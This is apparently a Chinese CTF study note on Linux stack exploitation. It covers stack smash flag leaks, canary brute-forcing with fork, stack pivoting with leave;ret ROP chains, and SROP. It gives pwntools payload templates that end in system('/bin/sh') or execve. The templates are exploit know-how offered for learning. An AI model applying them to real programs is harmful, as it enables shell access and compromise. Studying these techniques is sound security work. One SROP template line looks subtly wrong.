stack smash
造成原因
当进行栈溢出时,触发了__stack_chk_fail,从而拦截了该栈溢出,使程序崩溃
利用原理
我们首先了解一下__stack_chk_fail函数的构成
发现调用了__fortify_fail函数,那我们再看下这个函数
发现有两个参数,一个是msg(信息,也就是前边的"stack smashing detected"),另一个是__libc_argv[0],这其实是主函数里的一个参数,保存了我们的程序名
那么我们的方法就是,将__libc_argv[0]的地址替换为flag所在的地址,这样在进行检测报错后就可以直接将flag给打印出来(一般而言都是有open函数打开了一个flag文件然后读入)
使用方式
在动态调试中,往gets/read函数处(注意函数里边的参数是什么)下断点后进行栈溢出,退出输入函数后使用stack计算程序名读入的地址与rsp指向的地址之间的偏移量,将发送等同于偏移量大小的垃圾数据后进行地址跳转即可
形式如
payload = offset * b'a' + p64(flag_addr)
局限性
在glibc-2.23及之前的版本可用,但在glibc-2.27及之后的版本,因为stack_chk_fail或fortify_fail源代码的中一些参数的变化,导致了stack smash这样的方法无法通过检测,再也行不通
有且仅有在flag文件内置于程序内可用
多进程爆破(多用于爆破Canary)
原理
fork函数会在父进程中创建子进程并完全复制父进程的地址空间的内容,如果成功,fork函数会在子程序返回0,若出错则会返回负值。因为完全复制的特性,所以子进程和父进程的Canary是一样的,如果在循环中调用了fork函数,可以根据函数特性爆破Canary的值
利用方式
Canary默认的最低字节是'\x00',因此我们只用爆破前七个字节就够了。然后构造payload
基础形式
canary = '\x00' #默认最低字节已经是\x00
for first in range(7): #第一重循环,七次,对应爆破七个字节
for bit in range(0x100): #第二重循环,每个字节有0x00到0xFF的取值,所以要循环0x100次
p.send(offset_buf_to_canary * 'a' + canary + chr(bit)) #覆盖到canary地址处,首先输出'\x00',而后通过chr函数将unicode编码转换成对应字符,如果字符和canary对应,则可以通过canary检测
string_in_father = p.recvuntil('fork函数里的字符串内容') #具体情况具体分析
if 'fork函数之后的字符串(如果有的话)' in string_in_father: #判断条件,用于爆破出正确的canary值
canary += chr(bit) #正确的话,加上一字节
print(hex(u64(canary.ljust(8,b'\x00')))) #在十六进制下输出被解包的canary,左对齐,不足八位用'\x00'补齐
break
像p.recvuntil和string_in_father其实是可变的,甚至可以说是不一定有的,要根据具体情况具体分析,这只是个大致模板,真要做还得慢慢分析
局限性
爆破很慢,因为循环次数多,而且每次都要判断,导致爆破出canary的过程极其漫长,有这时间都可以去做别的题目了
条件苛刻,首先得有fork函数,其次还要循环调用,缺一不可
stack pivot(栈迁移)
原理
构造一条恶意的ROP链,将rbp,rsp迁移到这含有这条恶意的ROP链的栈(通常是bss区上,且有可执行权限)上,控制执行流
这其中很重要的就是leave指令的应用
leave -> mov rsp,rbp
pop rbp
还有ret,ret返回的地址是栈顶数据,而栈顶由rsp决定,我们只要控制了rsp,我们也就控制了ret返回的栈顶数据
利用方式
在read/gets函数溢出后,如果有canary就接收canary,而后接收栈地址,然后构造第一次的payload
以puts函数泄露libc_base为例(攻击的基础样式)
elf = ELF('该程序的绝对路径/相对路径')
payload_first = p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) #泄露基地址
payload_first += payload.ljust(offset_from_buf_to_canary,b'\x00') #将垃圾数据恰好填指储存canary的地址前
payload_first += p64(canary) + p64(stack) + p64(leave_retn_addr) #stack要记得在接收时减去offset_from_rbp_to_rsp并且再减去8。注意,我们把ret的地址覆盖成leave_ret,相当于执行了两次leave,第一次时rbp指向stack,而rsp指向了第二个leave,第二次leave把rbp指向的stack的地址赋值给了rsp,我们就控制了rsp跳转的地址了,但是第二次的'pop rbp'是多余的,会抬高rsp八字节,所以在构造stack数据时,要考虑把数据放到rsp-8的位置,最后ret的时候rsp会把指向内存的内容赋值给rip,让rip去执行
通过泄露出的libc_base可以通过对应版本的libc.so文件调用任意函数,将system函数和bin/sh迁移到stack上,再将rsp迁移到stack上即可。但是在第二次进入main函数的时候,栈会被抬高,因此我们需要计算抬高的栈距离我们第一次泄露的栈的距离,在read/gets函数里能看到buf的地址,从而算出offset的值,就可以构造第二次的payload的了
stack = stack - offset - 8 #第二次时的栈的地址
payload_second = p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
payload_second = payload_second.ljust(offset_from_buf_to_canary,b'\x00')
payload_second += p64(canary) + p64(stack) + p64(leave_ret_addr)
优点
所需字节数较少,适用于read读入字节不够的情况,当然,前提还是要能进行栈溢出
条件
仍需要栈溢出
存在可控制内容的内存,并且需要能够泄露出基地址
SROP(早期应该不怎么会见得到这玩意)
原理
这个玩意我觉得我解释不清,直接甩佬的链接就好了
利用方式
在Linux i386下调用sigreturn的代码存放在vdso中(暂不研究,主讲x86_64)
在Linux x86_64下,系统调用号为15的syscall为sigreturn,题目里如果在汇编代码里有设置rax为15的话(mov rax,15),很大可能就是要利用SROP进行攻击了
常见模板
frame = SigreturnFrame() #pwntools集成了这种攻击方式
frame.rax = 59 #execve()的系统调用号为59,如果找不到合适的系统调用号,就可以看能不能通过read控制rax的值
frame.rdi = 写有'bin/sh\x00'的地址 #如果是bss,直接写bss区地址即可;若在栈上,则还需泄露栈地址
frame.rip = syscall_addr
frame.rsi = 0
payload = "bin/sh\x00" * offset + p64(syscall_addr) + p64(15) + str(frame)
优点
可以直接getshell
可以orw
可以执行mprotect进而利用shellcode来orw
局限性
需要有足够大的空间来塞下整个sigreturn frame
需要有可写入的空间,如bss,data,栈等等